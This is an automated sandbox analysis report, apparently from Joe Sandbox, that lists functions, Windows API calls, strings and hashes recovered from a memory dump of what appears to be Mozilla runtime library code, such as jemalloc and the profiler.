Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 59f82d5492cd1a770807b1b8d33b6451b3119990c4bb6bbafedec171ec942a5b
Instruction ID: 19497a0facbffe7a68c7250fbf8170a1e3f8cb631d0cc5cff31c2b9a60c1b0dd
Opcode Fuzzy Hash: 59f82d5492cd1a770807b1b8d33b6451b3119990c4bb6bbafedec171ec942a5b
Instruction Fuzzy Hash: C2637E71E0125ACFCB04CFA8C89069DFBF2FF89310F298269D955AB755D730A985CB90

Function 6CA63E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CA87770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA63E7D,?,?,?,6CA63E7D,?,?), ref: 6CA8777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CA63F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA63F5C
VerSetConditionMask.NTDLL ref: 6CA63F8D
VerSetConditionMask.NTDLL ref: 6CA63F99
VerSetConditionMask.NTDLL ref: 6CA63FA0
VerSetConditionMask.NTDLL ref: 6CA63FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA63FB4

Strings

nvinit.dll, xrefs: 6CA64479
nvd3d9wrap.dll, xrefs: 6CA64466

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: d24ad3816784e6bda009b6d3881fdd71b1b25eaf3470c0fb81f45800e97ccf1d
Instruction ID: 0dea331839a7e5c2a3e9defa44411ba55dd3a0cbc98daceb8921e5cbbbfe13f6
Opcode Fuzzy Hash: d24ad3816784e6bda009b6d3881fdd71b1b25eaf3470c0fb81f45800e97ccf1d
Instruction Fuzzy Hash: 8C520331610B598FD714DF35CAA0AAB77EAAF45204F04492DE496CBB42CB34F98DCB60

Function 6CA4ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CA4EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA4EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA51695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA516B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CA51770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA51A3E

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 29567e45020c6277fbed160bc96058ddb04adb31c012b91e6ccc8db13b16e14f
Instruction ID: 1544832e69e02d081c99d07d8ef57c240acdcc722a5a37d59598230c8bd733d2
Opcode Fuzzy Hash: 29567e45020c6277fbed160bc96058ddb04adb31c012b91e6ccc8db13b16e14f
Instruction Fuzzy Hash: B1B33C71E00219CFCB14CFA9C890AADB7B2FF89304F5982A9D549AB745D730AD95CF90

Function 6CA3FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAAE7B8), ref: 6CA3FF81
LeaveCriticalSection.KERNEL32(6CAAE7B8), ref: 6CA4022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA40240
EnterCriticalSection.KERNEL32(6CAAE768), ref: 6CA4025B
LeaveCriticalSection.KERNEL32(6CAAE768), ref: 6CA4027B

Strings

MOZ_CRASH(), xrefs: 6CA40CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA3FE99, 6CA3FEB7, 6CA3FED3, 6CA40DB8, 6CA40DD3, 6CA419B4, 6CA41A10

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 359837bad26a196d7c8c05d84c3ab179a0fe9630b36124560a808a40b4f80c11
Instruction ID: 8663324bbc2b389d68752d9313d043b4479d4c993b2b5472462aa12d55e6f7a6
Opcode Fuzzy Hash: 359837bad26a196d7c8c05d84c3ab179a0fe9630b36124560a808a40b4f80c11
Instruction Fuzzy Hash: BAB2DF716057418FD718CF28C590726BBE1BF89328F28C66CE9AA8F795D770E891CB41

Function 6CA75600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6CA75E79, 6CA75E8F
ProfileBuffer parse error: %s, xrefs: 6CA75AC8, 6CA75CBB
expected a Count entry, xrefs: 6CA75AC3
expected a Time entry, xrefs: 6CA75CB6
data, xrefs: 6CA76131
schema, xrefs: 6CA7606D

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: a7715491a5c9a49a0cbc0984012e8cb16d3375dff164654f0ae227e1e6a7b9ca
Instruction ID: 06d502409b4203c9fc623be4dded5feddcec030333e739705b33d715ecbfd25e
Opcode Fuzzy Hash: a7715491a5c9a49a0cbc0984012e8cb16d3375dff164654f0ae227e1e6a7b9ca
Instruction Fuzzy Hash: 0D924D75A083418FD724CF28C59079BB7E1BFC9308F15891DE59A9B751DB30E889CBA2

Function 6CA72E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CA72ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA72EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CA72F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA73214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA73242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA736BF

Strings

get , xrefs: 6CA73205
set , xrefs: 6CA736EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CA7378D

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: f7b2100880f527b899600a34c07e07f9c3a48c374eb4235030018cd29c6330dd
Instruction ID: 066e63eeafa1903962e583af74eef1b4c66482732a9d45d482c6bcf185fce121
Opcode Fuzzy Hash: f7b2100880f527b899600a34c07e07f9c3a48c374eb4235030018cd29c6330dd
Instruction Fuzzy Hash: B4327E746093818FD724CF24C480A9FBBE2BFC9318F55891DE5DA87751DB31988ACB62

Function 6CA67E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6CA67E88
name, xrefs: 6CA67ECF, 6CA68335
data, xrefs: 6CA68280, 6CA683E1
schema, xrefs: 6CA681E3, 6CA68311

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 8b340df61cd0fd1269285a29d3bc7dbfc235ec19949375fcdaefb47ec3d95559
Instruction ID: 4fb16990b9f36dbc915c0a8b5636fb222f5b6e008d1806f7afa7710e380a29f5
Opcode Fuzzy Hash: 8b340df61cd0fd1269285a29d3bc7dbfc235ec19949375fcdaefb47ec3d95559
Instruction Fuzzy Hash: B6E19FB1A043508BC710CF69885166BFBEAFBC5314F148A2DE899D7780DBB0DC898B91

Function 6CA4D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAAE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D4F2
LeaveCriticalSection.KERNEL32(6CAAE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D50B

Part of subcall function 6CA2CFE0: EnterCriticalSection.KERNEL32(6CAAE784), ref: 6CA2CFF6
Part of subcall function 6CA2CFE0: LeaveCriticalSection.KERNEL32(6CAAE784), ref: 6CA2D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D52E
EnterCriticalSection.KERNEL32(6CAAE7DC), ref: 6CA4D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA4D6A6
LeaveCriticalSection.KERNEL32(6CAAE7DC), ref: 6CA4D712
LeaveCriticalSection.KERNEL32(6CAAE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA4D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CA4D82C
<jemalloc>, xrefs: 6CA4D827

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 70d02bfc14d9c00343fe594a826cff4e9ca635dd1c1d65eae6c8712cb50e4e8c
Instruction ID: d8467ad3fe7c5978d2feffb4ee866c325063e1ba584de3f486122dbe9d9bd10b
Opcode Fuzzy Hash: 70d02bfc14d9c00343fe594a826cff4e9ca635dd1c1d65eae6c8712cb50e4e8c
Instruction Fuzzy Hash: 5091C571E047028FD718CF68D59476AB7E1EB89318F18C92EE55AC7A81D730E885CB82

Function 6CA45E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA45EDB
memset.VCRUNTIME140(6CA87765,000000E5,55CCCCCC), ref: 6CA45F27
LeaveCriticalSection.KERNEL32(?), ref: 6CA45FB2
memset.VCRUNTIME140(6CA87765,000000E5,AAC09015), ref: 6CA461F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CA47652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA472F8
MOZ_CRASH(), xrefs: 6CA47BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA47BCD, 6CA47C1F, 6CA47C34, 6CA480FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA4730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA472E3

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 3db81d8234ad040e27414d8a4cb02cdbd99fdcbf79fb880df0acf801b1f8551a
Instruction ID: b07269762ac51e8f5d6eb618f5dfd84b4280a00c98f97877b6b49c1fc6349a6f
Opcode Fuzzy Hash: 3db81d8234ad040e27414d8a4cb02cdbd99fdcbf79fb880df0acf801b1f8551a
Instruction Fuzzy Hash: 0D337B716067418FD308CF28C590615BBE2BF85328F2DC6ADE969CB7A5D771E881CB81

Function 6CA23480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA23492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA234A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA234EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA2350E
__Init_thread_footer.LIBCMT ref: 6CA23522
__aulldiv.LIBCMT ref: 6CA23552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA2357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA23592

Part of subcall function 6CA5AB89: EnterCriticalSection.KERNEL32(6CAAE370,?,?,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB94
Part of subcall function 6CA5AB89: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5ABD1

Strings

kernel32.dll, xrefs: 6CA234EA
GetSystemTimePreciseAsFileTime, xrefs: 6CA23508

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 1864f9d51ecca51ccd86b04c3dcd833ce316621bc6ee5eb4233cf57c2dc91772
Instruction ID: df3136c00ed4e4c59de1e439895c9838dc35cd606f758f5a99f467700fc63b74
Opcode Fuzzy Hash: 1864f9d51ecca51ccd86b04c3dcd833ce316621bc6ee5eb4233cf57c2dc91772
Instruction Fuzzy Hash: A531D270B0134B9FDF18CFF5E948AAE77B9FB46304F088119E54593660EB349986CB60

Function 6CA74820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6CA74D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6CA74D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6CA74DB8, 6CA74DD8
ProfileBuffer parse error: %s, xrefs: 6CA74DD9
-%llu, xrefs: 6CA74825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6CA74CAF
data, xrefs: 6CA749B4
schema, xrefs: 6CA748C1

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: 95f715456714e8c3415e5aaae87ac5306c6bfaf2bd2f17092051ab8b664c516f
Instruction ID: a4641df29afbf89df6354c12d8f9235401964a0d632f94b6c4f9ad9628028209
Opcode Fuzzy Hash: 95f715456714e8c3415e5aaae87ac5306c6bfaf2bd2f17092051ab8b664c516f
Instruction Fuzzy Hash: 8872FA75918B858BD322CF38C4513ABF7E5BFDA344F108B1DE48A6B611EB7094C68B52

Function 6CA84EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CA84EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA84F2E
moz_xmalloc.MOZGLUE ref: 6CA84F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CA84F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA852B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA852E6
Sleep.KERNEL32(00000010), ref: 6CA85481
free.MOZGLUE(?), ref: 6CA85498

Strings

(, xrefs: 6CA85250

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 8d6d4dbd6e0f293f43d8f7e9277b6419c5e8aad56f932684b54ed318c2b39a41
Instruction ID: 5ff24325a09305254aece4b8e44423f6c7a6156e31505e2a1c15daeb5f687844
Opcode Fuzzy Hash: 8d6d4dbd6e0f293f43d8f7e9277b6419c5e8aad56f932684b54ed318c2b39a41
Instruction Fuzzy Hash: 5EF1D271A19B028FC71ACF39C85062BB7F5AFD6284F05872EF846A7651DB31D846CB81

Function 6CA85FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CA86009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CA86024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CA2EE51,?), ref: 6CA86046
OutputDebugStringA.KERNEL32(?,6CA2EE51,?), ref: 6CA86061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA86069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA86073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA86082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CAA148E), ref: 6CA86091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CA2EE51,00000000,?), ref: 6CA860BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA860C4

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: acad506efa24443dcb767b4e6ef272586c5577acd0d47c32f6d04558475a37fd
Instruction ID: 3c77e3ca64df15c0d65e1d03fecb55899c187b008d34f4960b4cbcebeb41be17
Opcode Fuzzy Hash: acad506efa24443dcb767b4e6ef272586c5577acd0d47c32f6d04558475a37fd
Instruction Fuzzy Hash: 0321E7B1A0030D9FDB205F64EC09AAE7BB8FF45218F04C568E91A97241CB34E599CFE1

Function 6CA49E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA49EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CA49F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA49F34
LeaveCriticalSection.KERNEL32(?), ref: 6CA4A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA4A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA4A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA4A8B1, 6CA4A8D4, 6CA4A8EF

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 799203f34b55a3ecd9f995d3193a4e2713a6140f8542d9e23502198a17ae44e1
Instruction ID: 326f13175e0a8d8f3fd4477477be01633444940d998cd6e2fbf2bd4615601600
Opcode Fuzzy Hash: 799203f34b55a3ecd9f995d3193a4e2713a6140f8542d9e23502198a17ae44e1
Instruction Fuzzy Hash: E2725A72A157118FD318CF28C540615FBE2BF89728F29C66DE8699B791D335EC82CB81

Function 6CA72C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CA72C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CA72C61

Part of subcall function 6CA24DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA24E5A
Part of subcall function 6CA24DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA24E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA72C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA72E2D

Part of subcall function 6CA381B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CA381DE

Strings

(root), xrefs: 6CA7354F
ProfileBuffer parse error: %s, xrefs: 6CA72E3B
expected a Time entry, xrefs: 6CA72E36

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
